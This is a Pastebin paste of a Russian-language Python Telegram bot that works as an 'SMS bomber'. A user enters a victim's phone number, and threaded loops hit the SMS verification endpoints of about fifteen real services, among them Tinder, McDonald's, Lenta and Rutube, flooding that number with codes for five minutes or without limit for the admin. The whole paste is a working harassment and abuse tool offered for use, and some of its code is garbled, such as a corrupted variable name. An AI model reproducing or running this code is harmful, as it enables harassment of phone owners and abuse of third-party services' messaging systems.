Advertisement
Guest User

Untitled

a guest
Nov 24th, 2019
4,116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.90 KB | None | 0 0
  1. import requests
  2. import threading
  3. from datetime import datetime, timedelta
  4. from telebot import TeleBot
  5. import telebot
  6. import time
  7.  
  8. TOKEN = 'ваш токен от вашего бота'
  9.  
  10. THREADS_LIMIT = 10000
  11.  
  12. chat_ids_file = 'chat_ids.txt'
  13.  
  14. ADMIN_CHAT_ID = "@userinfobot в помощь"
  15.  
  16. users_amount = [0]
  17. threads = list()
  18. THREADS_AMOUNT = [0]
  19. types = telebot.types
  20. bot = TeleBot(TOKEN)
  21. running_spams_per_chat_id = []
  22.  
  23.  
  24. def save_chat_id(chat_id):
  25.     "Функция добавляет чат айди в файл если его там нету"
  26.     chat_id = str(chat_id)
  27.     with open(chat_ids_file,"a+") as ids_file:
  28.         ids_file.seek(0)
  29.  
  30.         ids_list = [line.split('\n')[0] for line in ids_file]
  31.  
  32.         if chat_id not in ids_list:
  33.             ids_file.write(f'{chat_id}\n')
  34.             ids_list.append(chat_id)
  35.             print(f'New chat_id saved: {chat_id}')
  36.         else:
  37.             print(f'chat_id {chat_id} is already saved')
  38.         users_amount[0] = len(ids_list)
  39.     return
  40.  
  41.  
  42. def send_message_users(message):
  43.  
  44.     def send_message(chat_id):
  45.         data = {
  46.             'chat_id': chat_id,
  47.             'text': message
  48.         }
  49.         response = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendMessage', data=data)
  50.  
  51.     with open(chat_ids_file, "r") as ids_file:
  52.         ids_list = [line.split('\n')[0] for line in ids_file]
  53.  
  54.     [send_message(chat_id) for chat_id in ids_list]
  55.  
  56.  
  57. @bot.message_handler(commands=['start'])
  58. def start(message):
  59.     keyboard = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
  60.     boom = types.KeyboardButton(text='Атака на номер')
  61.     stop = types.KeyboardButton(text='Стоп Спам')
  62.     info = types.KeyboardButton(text='Информация')
  63.  
  64.     buttons_to_add = [boom, stop, info]
  65.  
  66.     if int(message.chat.id) == ADMIN_CHAT_ID:
  67.         buttons_to_add.append(types.KeyboardButton(text='Рассылка'))
  68.  
  69.     keyboard.add(*buttons_to_add)
  70.     bot.send_message(message.chat.id, 'Добро пожаловать🙋‍♂!\nЭто Бомбер канала @cyberland_x\nПеред использованием ответственность за ваши действия несете вы лично.\nВыберите действие:',  reply_markup=keyboard)
  71.     save_chat_id(message.chat.id)
  72.  
  73. def start_spam(chat_id, phone_number, force):
  74.     running_spams_per_chat_id.append(chat_id)
  75.  
  76.     if force:
  77.         msg = f'!Спам запущен на неограниченое время для номера +{phone_number}!'
  78.     else:
  79.          msg = f'!Спам запущен на 5 минут на номер +{phone_number}!'
  80.  
  81.     bot.send_message(chat_id, msg)
  82.     end = datetime.now() + timedelta(minutes = 5)
  83.     while (datetime.now() < end) or (force and chat_id==ADMIN_CHAT_ID):
  84.         if chat_id not in running_spams_per_chat_id:
  85.             break
  86.         send_for_number(phone_number)
  87.     bot.send_message(chat_id, f'!Спам на номер {phone_number} завершён!')
  88.     THREADS_AMOUNT[0] -= 1 # стояло 1
  89.     try:
  90.         running_spams_per_cзнhat_id.remove(chat_id)
  91.     except Exception:
  92.         pass
  93.  
  94.  
  95. def send_for_number(phone):
  96.         request_timeout = 0.00001
  97.         while True:
  98.          requests.get('https://findclone.ru/register?phone=+'+phone, params={'phone': '+'+phone})
  99.          requests.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}, headers={})
  100.          requests.post('https://api.sunlight.net/v3/customers/authorization/', data={'phone': phone})
  101.          requests.post('https://lk.invitro.ru/lk2/lka/patient/refreshCode', data={'phone': phone})
  102.          requests.post('https://online.sbis.ru/reg/service/', json={'jsonrpc':'2.0','protocol':'5','method':'Пользователь.ЗаявкаНаФизика','params':{'phone':phone},'id':'1'})
  103.          requests.post('https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru', data={'phone': phone})
  104.          requests.post('https://lenta.com/api/v1/authentication/requestValidationCode', json={'phone': '+' + phone})
  105.          requests.post('https://mcdonalds.ru/api/auth/code', json={'phone': '+' + phone})
  106.          requests.post('https://www.citilink.ru/registration/confirm/phone/+'+phone+'/')
  107.          requests.post('https://rutube.ru/api/accounts/sendpass/phone', data={'phone': '+'+phone})
  108.          requests.post('https://drugvokrug.ru/siteActions/processSms.htm', data={'cell': phone})
  109.          requests.post('https://www.rabota.ru/remind', data={'credential': phone})
  110.          requests.post('https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru', data={'phone_number': phone}, headers={})
  111.          requests.post('https://belkacar.ru/get-confirmation-code', data={'phone': phone}, headers={})
  112.          requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': phone,'countryCode': 'ID','name': 'test','email': 'mail@mail.com','deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'})
  113.  
  114.  
  115. def spam_handler(phone, chat_id, force):
  116.     if int(chat_id) in running_spams_per_chat_id:
  117.         bot.send_message(chat_id, '!Вы уже начали рассылку спама. Дождитесь окончания или нажмите Стоп Спам и поробуйте снова!')
  118.         return
  119.  
  120.     if THREADS_AMOUNT[0] < THREADS_LIMIT:
  121.         x = threading.Thread(target=start_spam, args=(chat_id, phone, force))
  122.         threads.append(x)
  123.         THREADS_AMOUNT[0] += 1
  124.         x.start()
  125.     else:
  126.         bot.send_message(chat_id, '!Сервера сейчас перегружены. Попытайтесь снова через несколько минут!')
  127.         print('Максимальное количество тредов исполняется. Действие отменено.!')
  128.  
  129.  
  130. @bot.message_handler(content_types=['text'])
  131. def handle_message_received(message):
  132.     chat_id = int(message.chat.id)
  133.     text = message.text
  134.  
  135.     if text == 'Информация':
  136.         bot.send_message(chat_id, 'Создатель бота: @cl_alex\nПо вопросам сотрудничества обращаться в ЛС к создателю бота\n\nРебята, кто может помочь на развитие нашего канала и бота\nЯНдекс.Деньги: - \n\n')
  137.  
  138.     elif text == 'Атака на номер':
  139.         bot.send_message(chat_id, 'Введите номер без + в формате:\n🇺🇦 380xxxxxxxxx\n🇷🇺 79xxxxxxxxx\n🇰🇿 77xxxxxxxxx')
  140.  
  141.     elif text == 'Рассылка' and chat_id==ADMIN_CHAT_ID:
  142.         bot.send_message(chat_id, 'Введите сообщение в формате: "отправка: ваш_текст" без кавычек')
  143.    
  144.     elif text == 'Стоп Спам':
  145.         if chat_id not in running_spams_per_chat_id:
  146.             bot.send_message(chat_id, 'Вы еще не начинали спам')
  147.         else:
  148.             running_spams_per_chat_id.remove(chat_id)
  149.  
  150.     elif 'отправка: ' in text and chat_id==ADMIN_CHAT_ID:
  151.         msg = text.replace("отправка: ","")
  152.         send_message_users(msg)
  153.  
  154.     elif len(text) == 11:
  155.         phone = text
  156.         spam_handler(phone, chat_id, force=False)
  157.  
  158.     elif len(text) == 12:
  159.         phone = text
  160.         spam_handler(phone, chat_id, force=False)
  161.  
  162.     elif len(text) == 12 and chat_id==ADMIN_CHAT_ID and text[0]=='_':
  163.         phone = text[1:]
  164.         spam_handler(phone, chat_id, force=True)
  165.  
  166.     else:
  167.         bot.send_message(chat_id, f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11')
  168.         print(f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11')
  169.  
  170. if __name__ == '__main__':
  171.     bot.polling(none_stop=True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement